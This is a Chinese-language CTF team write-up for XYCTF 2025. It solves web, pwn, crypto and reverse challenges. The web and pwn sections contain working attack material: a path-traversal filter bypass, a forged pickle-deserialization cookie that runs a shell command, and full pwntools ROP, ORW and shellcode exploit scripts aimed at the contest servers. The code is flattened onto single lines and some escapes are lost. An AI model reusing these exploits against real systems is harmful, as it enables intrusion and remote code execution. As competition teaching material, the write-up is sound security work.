UKY 2025XYCTF WP

admin 2025年5月30日00:59:39评论9 views字数 50982阅读169分56秒阅读模式
春风若有怜花意,可否许我再少年?
本次比赛,UKFC子队UKY参与并获得了35名的成绩。
UKY 2025XYCTF WP

比赛地址:https://match.ichunqiu.com/xyctf2025

时间:2025.4.4 10:00-4.6 20:00

PS:部分题目有一些思路但未解出,欢迎讨论!

Web
Signin
源代码:
# -*- encoding: utf-8 -*-'''@File    :   main.py@Time    :   2025/03/28 22:20:49@Author  :   LamentXU ''''''flag in /flag_{uuid4}'''from bottle import Bottle, request, response, redirect, static_file, run, routewith open('../../secret.txt''r'as f:      secret = f.read()app = Bottle()@route('/')def index():      return '''HI'''@route('/download')def download():      name = request.query.filename      if '../../' in name or name.startswith('/'or name.startswith('../'or '\' in name:            response.status = 403            return 'Forbidden'      with open(name, 'rb'as f:            data = f.read()        return data@route('/secret')def secret_page():       try:             session = request.get_cookie("name", secret=secret)             if not session or session["name"] == "guest":                    session = {"name""guest"}                    response.set_cookie("name", session, secret=secret)                    return 'Forbidden!'             if session["name"] == "admin":                    return 'The secret has been deleted!'       except:             return "Error!"run(host='0.0.0.0', port=8080, debug=False    
/:主路由,返回HI
/download:下载任意文件,但有一定过滤
/secret:判断cookie是admin还是其他,admin则返回'The secret has been deleted!',其他则返回'Forbidden!'
先在/download下获取secret.txt,因为过滤的不完全,我们可以通过./隔开../来获取
/download?filename=./.././../secret.txt
UKY 2025XYCTF WP
获取密钥为Hell0_H@cker_Y0u_A3r_Sm@r7
接下来应该要伪造admin的cookie,这里因为使用了bottle模块,这里是bottle-0.13,根据更新已知其中存在pickle反序列化漏洞
UKY 2025XYCTF WP
原始的cookie的name值:!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu
根据get_cookie函数:
UKY 2025XYCTF WP
确定了cookie的格式,其中有pickle反序列化
cookie的格式:pickle序列化后使用密钥进行sha256加密生成base64格式的签名,"!+{签名}+?+{数据}"
pickle序列化构造代码:(需要在linux环境中运行)
import base64import pickleimport osclass Test:      def __reduce__(self):          return (os.system, ("ls / >lss.txt",))def object():      object = Test()      data = {            'evil_data'object      }      return datatest = Test()  a = pickle.dumps(test)b=base64.b64encode(a)print(b)
其结果为gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA9scyAvID4gL2xzcy50eHSUhZRSlC4=
用已知的密钥进行sha256加密,得到签名:2jKMFEOWf73NL1W2eYJ8t0kfmB0+Hdpd4tXIPV8NHFQ=
将其构成cookie:
Cookie: name="!2jKMFEOWf73NL1W2eYJ8t0kfmB0+Hdpd4tXIPV8NHFQ=?gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA9scyAvID4gL2xzcy50eHSUhZRSlC4="
然后发包
UKY 2025XYCTF WP
利用/download路由读取ls.txt文件
/download?filename=./.././../lss.txt
UKY 2025XYCTF WP
再读取flag文件
/download?filename=./.././../flag_dda2d465-af33-4c56-8cc9-fd4306867b70
得到flag
UKY 2025XYCTF WP
flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}
ez_puzzle
连点f12卡出开发者工具
将源代码中的文件放在本地,在本地运行此网站
在js文件中找可疑点,不断尝试,发现有个checkiffinish函数,return imageIndexForPosition,盲猜rangeindexposition给图片随机定位跟这个变量有关,找imageIndexForPosition的引用,发现有赋值点,将赋值点改为下图的值
UKY 2025XYCTF WP
运行网站后略微修改一下拼图即可弹出flag
UKY 2025XYCTF WP
flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}
Pwn
Ret2libc's Revenge 
UKY 2025XYCTF WP
  • 题目主函数实现了类似gets函数功能,可以stack溢出
    • 但是若果将垃圾数据全部填为相同的是不能实现溢出,不知为何
    • 通过尝试发现垃圾数据填充为这样payloda = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(target_addr)即可,关键应该在0x210左右
  • 需要leak出libc基地址,但是发现交互没有回显,注意到init函数中,设置stdout为全缓冲,所以首先要填满缓冲区,重复执行main函数通过唯一的puts函数填满
UKY 2025XYCTF WP
  • 程序设计过于简短,有且仅有一条pop;ret,mov也只有一条有效gadget,如下,但目标是控制rdi,通过puts得到libc_base,只能通过rsi来间接控制,但是rsi又无法直接控制,经实践发现,先将rsi清零,然后通过rbp控制,注意到magic中是esi,但由于没有PIE,elf文件相关地址都是4字节,可以控制,寻找到0x400490上放着标准输入地址,通过上述四条gadget配合可以控制rdi为libc相关地址,payload如下:
0x000000000040117d: pop rbp; ret; 0x0000000000401180: mov rdi, rsi; ret;
0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;<----------magic10x00000000004010e4: and rsi, 0; ret;<-------------------------------magic2
92:0490│  0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad288493:0498│  0x400498 ◂— 894:04a0│  0x4004a0 ◂— 0x1a00110000002d /* '-' */95:04a8│  0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b96:04b0│  0x4004b0 ◂— 897:04b8│  0x4004b8 ◂— 0x1a001100000033 /* '3' */98:04c0│  0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084
payload1                    =  b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(pop_rbp_ret) + p64(0x400490-0x20)payload1                    += p64(rsi_0_ret) + p64(magic1) + p64(magic2) + p64(elf.plt["puts"]) + p64(main)
  • 输出缓冲区大小是`01:0008│    0x4056a8 ◂— 0x411`,加上leak的地址,大概循环49次左右,可以填满溢出
  • 最后本地不能system,参数正确,stack对齐,执行到system,但确实getshell失败,没有细调,因此选择orw
  • 这题打本地和打远程差的比较多
    1. 本地只需要49次循环即可填满,但是远程要200次,而且是小概率填满溢出,由于没有回显,只能一次一次尝试,同时需要使用sleep函数,而且循环次数不能过大,如300次,会出现不知名错误,导致直接程序崩掉
    2. orw的话write泄露的数据长度需要0x411往上,最开始尝试只write 0x100长度,发现拿不到flag,意识到后改成0x500,只要上面能填满缓冲区得到libc_base一次就可以拿到flag
    3. 远程exp和本地exp 不同:
      1. 远程的脚本循环必须要150次往上,但是本地150次程序就崩溃了,同时也不需要sleep,需要改掉循环次数
      2. 远程write必须要0x411往上,本地没有要求
远程exp如下:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./attachment")io = remote("47.94.103.208",24599)#io = remote("39.106.48.123",43714)#io = remote("localhost",9999)'''  io = gdb.debug("./attachment","""decompiler connect ida --host 192.168.132.84 --port 3662                                                              b *0x401261                                                              ignore 1 39                                                              c                                                              """)'''elf = ELF("./attachment")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#0x000000000040117d: pop rbp; ret; #0x0000000000401180: mov rdi, rsi; ret; #0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;#0x00000000004010e4: and rsi, 0; ret;'''92:0490│  0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad288493:0498│  0x400498 ◂— 894:04a0│  0x4004a0 ◂— 0x1a00110000002d /* '-' */95:04a8│  0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b96:04b0│  0x4004b0 ◂— 897:04b8│  0x4004b8 ◂— 0x1a001100000033 /* '3' */pwndbg>98:04c0│  0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084'''for i in range(160):        payload =  b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(elf.sym["main"])        payload =  b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + p64(0x000000000040117d) + p64(0x400490-0x20)        payload += p64(0x00000000004010e4) + p64(0x00000000004010ec) + p64(0x0000000000401180) + p64(elf.plt["puts"])        payload += p64(elf.sym["main"])        success(i)        sleep(0.2)        io.sendline(payload)io.recvuntil(b"Ret2libc's Revengex0a")libc_base = u64(io.recvn(6).ljust(8,b"x00")) - 0x3ad780 + 0x192000#libc_base = 0x7ffff7c00000success(f"libc_base => {hex(libc_base)}")sleep(1)rdi = libc_base + 0x000000000002a3e5bin_sh = libc_base + next(libc.search("/bin/sh"))system  = libc_base + libc.sym["system"]rdi = libc_base + 0x000000000002a3e5rsi = libc_base + 0x000000000002be51rdx = libc_base + 0x000000000011f2e7read= libc_base + libc.sym["read"]write=libc_base + libc.sym["write"]open_=libc_base + libc.sym["open"]orw =  p64(rdi) + p64(0) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x10)*2 + p64(read)orw += p64(rdi) + p64(0x404000) + p64(rsi) + p64(0) + p64(open_)orw += p64(rdi) + p64(3) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(read)orw += p64(rdi) + p64(1) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(write)payload2 = b"x11"*(0x200) + b"x22"*0x20 + b"x33"*0x3 + orw#+  p64(rdi) + p64(bin_sh) + p64(system)#success(f"rdi   => {hex(rdi)}")#gdb.attach(io,"b *0x401261")#pause()io.sendline(payload2)sleep(1)io.sendline(b"flagx00")io.interactive()
明日方舟寻访模拟器
  • 溢出有限,刚好可以控制一参,使用代码段中system方可绕过栈对齐问题
exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./pwwn")io = remote("47.94.172.18",32784)#io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662#                                                          b *0x401877#                                                          c                """)elf =ELF("pwwn")def char():        sleep(0.1)        io.send(b"x0a")def employ(choice,num):        if choice == 3:            io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())            io.sendlineafter("请输入寻访次数:".encode(),str(num).encode())        else:                io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())            char()char()employ(3,10000)employ(3,10000)employ(3,5000)employ(3,0x6cb)employ(4,0)io.sendlineafter("请选择:[1]向好友炫耀 [2]退出".encode(),str(1).encode())payload = b"x11"*0x40 + p64(3+ p64(0x00000000004018e5+ p64(0x405BCC+ p64(0x4018FC)#p64(elf.sym["system"])#payload = b"x11"*0x40 + p64(0+ p64(0x000000000040199c+ p64(0x405018+ p64(elf.plt["puts"])#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662#                     set follow-fork-mode parent""")io.sendlineafter("请输入你的名字:".encode(),payload)#gdb.attach(io,"decompiler connect ida --host 192.168.132.84 --port 3662")io.interactive()
girlfriend
Exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./girlfriend")io = remote("47.93.96.189",28692)'''  io = gdb.debug("./girlfriend",""" decompiler connect ida --host 192.168.132.84 --port 3662                                                        b *0x555555554000+0x164C                                                        c                                                        c                                                        ni                                                        b *0x555555554000+0x1777                                                        c                                                        c                                                                                            c                                                                                            c                                                        c                                                        c""")'''#choice1 printfelf                         = ELF("./girlfriend")libc                        = ELF("/lib/x86_64-linux-gnu/libc.so.6")def mune(choice):        io.sendlineafter(b"Your Choice:",str(choice).encode())def func1(buf):        mune(1)        if len(buf) < 0x50:                io.sendlineafter(b"what do you want to say to her?",buf)        else:                io.sendafter(b"?",buf)def func3(buf):        mune(3)        if len(buf) < 0x100:                io.sendlineafter(b"You should tell her your name first",buf)        else:                io.sendafter(b"You should tell her your name first",buf)func1(b"A"*7)io.recvuntil(b"AAAAAAAx0a")#libc_base                   =  u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x43654libc_base                   = u64(io.recvn(6)[-6:].ljust(8,b"x00")) - 0x43654payload0                    =  b"x00"*0x40func3(payload0)func1(b"A"*(0x18-1-1)+b"B")io.recvuntil(b"ABx0a")elf_base                    =  u64(io.recvn(6).ljust(8,b"x00")) - 0x15c7#stack_base                 =  u64(io.recvn(6).ljust(8,b"x00")) - 0x20078 - 0x10payload1                    =  b"%" + str(0x23).encode() + b"$p"payload1                    =  payload1.ljust(0x40,b"x00")func3(payload1)io.recvuntil(b"0x")canary                      =  int(io.recvn(16),16)payload2                    =  b"x11"*0x38 + p64(canary)*2 + p64(elf_base+0x181C)func1(payload2)func3(payload0)func1(b"A"*(0x20-1-1)+b"B")io.recvuntil(b"ABx0a")stack_base                  =  u64(io.recvn(6).ljust(8,b"x00")) - 0x20078 - 0x10 - 0xb0rdi                         =  libc_base + 0x000000000002a3e5 rsi                         =  libc_base + 0x000000000002be51rdx                         =  libc_base + 0x000000000011f2e7mprotect                    =  libc_base + libc.sym["mprotect"]read                        =  libc_base + libc.sym["read"]bss_addr                    =  elf_base + 0x4060 + 0x40bss_addr2                   =  (bss_addr>>12)<<12payload3                    =  payload0payload3                    += p64(rdi) + p64(bss_addr2) + p64(rsi) + p64(0x10000)payload3                    += p64(rdx) + p64(7)*2 + p64(mprotect)payload3                    += p64(rdi) + p64(0) + p64(rsi) + p64(bss_addr2)payload3                    += p64(rdx) + p64(0x100)*2 + p64(read) + p64(bss_addr2)func3(payload3)leave_ret                   =  libc_base + 0x000000000004da83bss_addr                    =  elf_base + 0x4060 + 0x40payload4                    =  flat({               0:                  0,               0x38:               p64(canary),               0x40:               p64(bss_addr-0x8),               0x48:               p64(leave_ret)           },filler = b"x00")func1(payload4)sleep(0.1)shellcode                   =  shellcraft.openat(-100, "flag", 0)shellcode                   += shellcraft.mmap(bss_addr2+0x100,0x1000,1,0x2,3,0)shellcode                   += shellcraft.write(1,'rax',0x100)payload5 = asm(shellcode)io.sendline(payload5)success(f"elf_base          => {hex(elf_base)}")success(f"canary            => {hex(canary)}")success(f"stack_base        => {hex(stack_base)}")success(f"libc_base         => {hex(libc_base)}")io.interactive()
Nailong
  • 爆破rbp地址
    • stack上关键数据与rbp的偏移固定,但是与stack_base偏移不固定
exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./nailong")#io = remote("47.93.96.189",30808)'''io = gdb.debug("./nailong","""decompiler connect ida --host 192.168.132.84 --port 3662                                            b *0x401A6E                                            c                                            b *0x401A20                                                                        b *0x401B8E                                            """)'''#write_func                 0x401A20#read_func                  0x401A6E#leave_ret                  0x401B8Eelf                         = ELF("./nailong")libc                        = ELF("/lib/x86_64-linux-gnu/libc.so.6")#io.recvuntil(b"rbp + offset:")#stack_base_0                = int(io.recv(15),10)#stack_base                  =  (((stack_base_0)>>12)<<12) - 0x1e000#stack_base                  =  0x7ffffffde000#success(f"stack_base        => {hex(stack_base)}")#success(f"stack_base_0      => {hex(stack_base_0)}")#io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())def mune(choice):        io.sendlineafter(b"sh",str(choice).encode())def write_func(addr):        mune(1)        io.sendlineafter(b"what you want do?",str(addr).encode())def read_func(addr,content):        mune(2)        io.sendafter(b"do?",str(addr).encode())    if len(content) < 4:                io.sendlineafter(b"read you want",content)        else:                io.sendafter(b"read you want",content)def pwwn():        write_func(0x404140)        #libc_base                   = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x21b780        io.recvuntil(b"x0a")        libc_base                   = u64(io.recvn(6).ljust(8,b"x00")) - 0x21b780        open_func                   = libc_base + libc.sym["open"]        environ                     = libc_base + libc.sym["__environ"]        sleep                       = elf.got["sleep"]        main                        = 0x4017CF        v17_addr                    = rbp_base - 0x8044        v16_addr                    = rbp_base - 0x8048        ret_base                    = rbp_base + 0x8        success(f"v17               => {hex(v17_addr)}")        success(f"v16               => {hex(v16_addr)}")        success(f"ret_base          => {hex(ret_base)}")        success(f"libc_base         => {hex(libc_base)}")        read_func(v17_addr,b"xff"+b"x00"*2+b"xff")            flag_addr                   = 0x404500        read_func(flag_addr,b"flag")            rdi                         =  libc_base + 0x000000000002a3e5        rsi                         =  libc_base + 0x000000000002be51        rdx                         =  libc_base + 0x000000000011f2e7        open_                       =  libc_base + libc.sym["open"]        read                        =  libc_base + libc.sym["read"]        write                       =  libc_base + libc.sym["write"]            payload                     =  p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(open_)        payload                     += p64(rdi) + p64(3) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2        payload                     += p64(read)        payload                     += p64(rdi) + p64(1) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2        payload                     += p64(write)            #read_func(ret_base,p64(rdi)[:4])        #read_func(ret_base+4,p64(rdi)[4:])        '''            gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662                                                   b *0x401A6E                                                   c                                                  """)        '''        for i in range(0len(payload), 4):                chunk = payload[i:i+4]                  read_func(ret_base+i,chunk)            '''            gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662                                                    b *0x401B8E                                                    c                                                      """)            '''            read_func(v16_addr,p64(0xffffffff))            #success(f"stack_base        => {hex(stack_base)}")            #success(f"libc_base         => {hex(libc_base)}")for i in range(1000):        #io = process("./nailong")#,timeout = 0.5)        io = remote("39.106.71.197",36971,timeout = 0.5)        io.recvuntil(b"init...x0a")        io.recvuntil(b"rbp + offset:")        rbp_base                    = int(io.recvn(15),10) - 0x50 - 0x192 + 0xed + 0x29 + 1        #stack_base                  =  (((ret_base)>>12)<<12) - 0x1e000        #stack_base                  =  0x7ffffffde000        #success(f"stack_base        => {hex(stack_base)}")        #rbp_base                    = 0x7fffffffdf50        success(f"rbp_base          => {hex(rbp_base)}")        io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())        try:                success(i)                pwwn()                io.recvuntil(b"XY",timeout = 1)                success(i)        except EOFError:                io.close()                continue        else :                io.interactive()                break    #success(f"stack_base        => {hex(stack_base)}")#success(f"libc_base         => {hex(libc_base)}")#io.interactive()
EZ3.0
  • 异架构-mips,利用gadget控制a0,system即可
#!/usr/bin/env python3from pwn import *context(arch = "mips" , os = "linux" , log_level = "debug")#io = process("qemu-mipsel -g 9002 -L /usr/mipsel-linux-gnu ./ez3.0",shell = True)io = remote("39.106.48.123",37903)#io = process("qemu-mipsel -L /usr/mipsel-linux-gnu ./ez3.0",shell = True)#0x004008e0: lw $ra, 0x1c($sp); lw $fp, 0x18($sp); addiu $sp$sp, 0x20; jr $ra; nop; #0x004009b4: lw $ra, 0x3c($sp); lw $fp, 0x38($sp); addiu $sp$sp, 0x40; jr $ra; nop;#0x400984 read#cat flag.txt 0x411010#bin/ls 0x400c88main = 0x400830ret = 0x04009C0payload = p32(0x411010)*9 + p32(0x00400a20) + p32(0x411010) + p32(0x4009EC) + p32(0x411010)payload = payload.ljust(0x60,b"x11")io.sendlineafter(b">",payload)#io.sendlineafter(b">",payload)#io.sendlineafter(b">",payload)#io.sendlineafter(b">",payload)io.interactive()
Crypto
Division
MT19937随机,这里在选项一中全部除1,得到624个随机数,将其转化为整数型后开始预测输出结果
终于当个人了
from pwn import *import re #pwn的模块不熟悉,这里使用正则表达式对输出结果筛选from randcrack import RandCrack #直接爆破io =remote('47.93.96.189',22581)num=[]for i in range(624):        io.sendlineafter(b': >>> ',b'1')        io.sendlineafter(b'input the denominator: >>> ',b'1')        result=io.recvline()        match = re.search(rb'=s*(S+)', result)        num.append(match.group(1))rc=RandCrack()for j in range(624):        rc.submit(int(num[j].decode('utf-8')))a=rc.predict_getrandbits(11000)b=rc.predict_getrandbits(10000)ans=a//bio.sendlineafter(b': >>> ',b'2')io.sendlineafter(b'input the answer: >>> ',str(ans).encode('utf-8'))c=io.recvline() #纯占位d=io.recvline()print(d) #输出flag#XYCTF{d63a90be-a59c-4527-a115-3eba4eb63d4a}
UKY 2025XYCTF WP
结果,XYCTF{d63a90be-a59c-4527-a115-3eba4eb63d4a}
Complex_signin
明文m是复数,解出它的实部和虚部就能解出flag
设m=a+bi,则加密式子为 
其中e=3,这是个很小很小的公钥,很不正常(bushi), 能直接手算出来 
设 ,则加密式子变为 
根据题目中快速幂的实现代码,可以看到复数取整数模时,实部和虚部分开分别取模
所以就可以得到一个方程组
已知c的实部和虚部,m的实部和虚部的高位,两个未知数,两个式子,这其实是二元CopperSmith
从网上搜一个二元CopperSmith脚本(https://unborracho.github.io/2023/04/03/coppersmith%E4%BA%8C%E5%85%83/index.html)
写脚本解出即可
#sagefrom sage.all import *import itertoolsfrom Crypto.Cipher import ChaCha20import hashlibdef small_roots(f, bounds, m=1, d=None):        if not d:                d = f.degree()        R = f.base_ring()        N = R.cardinality()        f /= f.coefficients().pop(0)        f = f.change_ring(ZZ)    G = Sequence([], f.parent())        for i in range(m + 1):                base = N ^ (m - i) * f ^ i                for shifts in itertools.product(range(d), repeat=f.nvariables()):                        g = base * prod(map(power, f.variables(), shifts))                        G.append(g)        B, monomials = G.coefficient_matrix()        monomials = vector(monomials)        factors = [monomial(*bounds) for monomial in monomials]        for i, factor in enumerate(factors):                B.rescale_col(i, factor)            B = B.dense_matrix().LLL()            B = B.change_ring(QQ)        for i, factor in enumerate(factors):                B.rescale_col(i, 1 / factor)    H = Sequence([], f.parent().change_ring(QQ))        for h in filter(None, B * monomials):                H.append(h)                I = H.ideal()                if I.dimension() == -1:                        H.pop()                elif I.dimension() == 0:                        roots = []                    for root in I.variety(ring=ZZ):                            root = tuple(R(root[var]) for var in f.variables())                            roots.append(root)                    return roots        return []n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753a_high = 3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016b_high = 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552c_re = 5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760c_im = 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752bits = 128P.= PolynomialRing(Zmod(n))a = a_high + xb = b_high + yf1 = a**3 - 3*a*b**2 - c_ref2 = 3*a**2*b - b**3 - c_imab = 2**bitsbb = 2**bitsroots = small_roots(f1, (ab, bb), m=3, d=4)aa, ab = roots[0]a = a_high + aab = b_high + abkey = hashlib.sha256(str(a + b).encode()).digest()cipher = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj')enc = b'x9cxc4nx8dFxd9x9exf4x05x82!xdexfex012$xd0x8cxafxfbrEb(x04)xa1xa6xbaI2Jxd2xb2x898x11xe6xxa9x19x00pnxf6rs- xd2xd1xbexc7xf51.xd4xd2 xe7xc6xcaxe5x19xbe'flag = cipher.decrypt(enc)print(flag)
XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}
 reed | 未解出
整个PRNG的seed是自己给的,所以PRNG的所有参数,包括后续产生的随机数都是已知的
对flag的加密就是一个线性同余式子 
知道a,b以后移项求逆元就可以直接把m求出来
而a,b是用PRGN产生的,唯一不知道的是a,b为PRNG多少轮的随机数
轮数是用另一个Random()的randrange(2**16)产生,理论上只要有了624个随机数就能预测
思路1:
但是想要624个随机数完全没有啊
所以先往破坏PRNG的seed的迭代考虑,如果能破坏,那么PRNG在每一轮产出的随机数都是相同的
这样randrange(2**16)就被完全架空了
思路2:
直接爆a,b,反正就36×36种情况(
Re
WARMUP
vbs逆向,文本打开。直接python print,打出来有点抽象,大概就是一个标准rc4。
from Crypto.Cipher import ARC4import base64def rc4_decrypt(data, key1):     # 解密        data = bytes.fromhex(data)  # 将十六进制的字符串转为字节数据        key = bytes(key1, encoding='utf-8'# 将密钥转换为字节类型        enc = ARC4.new(key)        decrypted_data = enc.decrypt(data)        res = decrypted_data.decode('utf-8')  # 将解密后的字节数据转为字符串           return resif __name__ == "__main__":        data = '90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4'        key = 'rc4key'         print('解密后:', rc4_decrypt(data, key))
题目要求md5:flag{We1c0me_t0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn's_chall_is_r3@lly_gr3@t_&_fuN!}
XYCTF{5f9f46c147645dd1e2c8044325d4f93c}
ezVM | 未解出
长度32,func里面是用AVX2 指令集的汇编,就是一个比较函数,重点看sub_403935
UKY 2025XYCTF WP
UKY 2025XYCTF WP
特殊的vm,a1有got表赋值了很多函数,程序通过偏移定位处理函数
输入改变一个字符后会影响八位密文,应该是八字节一组的加密,tea也有可能有固定的单字节加密逻辑里面有一部分混淆,不用看,可以尝试对输入下读入断点看逻辑
逻辑应该在sub_403935里面的sub_404F90
UKY 2025XYCTF WP
UKY 2025XYCTF WP
下断点一直跟踪到这个地方发现rsi赋值给rdi(两次赋值,一次16个),下一步是回溯看rsi的值哪来的
rsi 不是你输入的flag ?
rsi是加密后的数据
没事,一个东西
啊我草这题怎么这么坏
UKY 2025XYCTF WP
dragon
bc文件,需要先配一下clang编译器
UKY 2025XYCTF WP
UKY 2025XYCTF WP
这里的输入校验,逻辑只有位运算
UKY 2025XYCTF WP
UKY 2025XYCTF WP
位运算这玩意好像逆不出来,它是相邻两个两个字节异或,于是直接爆破,v5要每次循环要重置。由于返回的时候是取反,所以直接手动把密文异或0xFFFFFFFFFFFFFFFF再爆破:
#includelong long int data[]={0x239c1cb1be6084b8,0xfce1072b184d4039,0xed29d0439da02761,0x7c17491e33a8aa17,0x3844e14d5499a33,0x6c7d35e4d59d2694,0x4e00075f898c3c78,0xf257e9d8c771fa1e,0x610e19e5172f5548,0x6d87c02d180d9eba,0x9c36835e0a9019f4,0x642c574fbc48c554};intmain(){       long long int v5;       int i,m,n;    for(i=0;i<12;i++){        for(m=0;m<256;m++){                for(n=0;n<256;n++){                        v5 = 0xFFFFFFFFFFFFFFFF;                        v5 ^= (unsigned __int64)(unsigned __int8)(m) << 56;// 高位取反                        for (int j = 0; j < 8; ++j ){                                if ( v5 >= 0 )                                    v5 *= 2;                                else                                    v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;                        }                        v5 ^= (unsigned __int64)(unsigned __int8)(n) << 56;// 高位取反                        for (int j = 0; j < 8; ++j ){                                if ( v5 >= 0 )                                    v5 *= 2;                                else                                    v5 = (2 * v5) ^ 0x42F0E1EBA9EA3693;                        }                        if(v5==data[i])                          printf("%c%c",m,n);                }        }    }}
flag{LLVM_1s_Fun_Ri9h7?}
Moon
ida里可以看到这个pyd文件要用Python3.11.x导入:
UKY 2025XYCTF WP
导入后help查看模块信息,发现一个验证函数一个加密函数两个值SEED和TARGET_HEX,加密看名字是异或,尝试再调用一次解密,结果真出来了:
UKY 2025XYCTF WP
flag{but_y0u_l00k3d_up_@t_th3_mOOn}
lake
动态加载
UKY 2025XYCTF WP
这里复制了输入
UKY 2025XYCTF WP
第一部分是switch修改flag
UKY 2025XYCTF WP
密文
UKY 2025XYCTF WP
第二段,前一个的低五位和后一个的高三位:
UKY 2025XYCTF WP
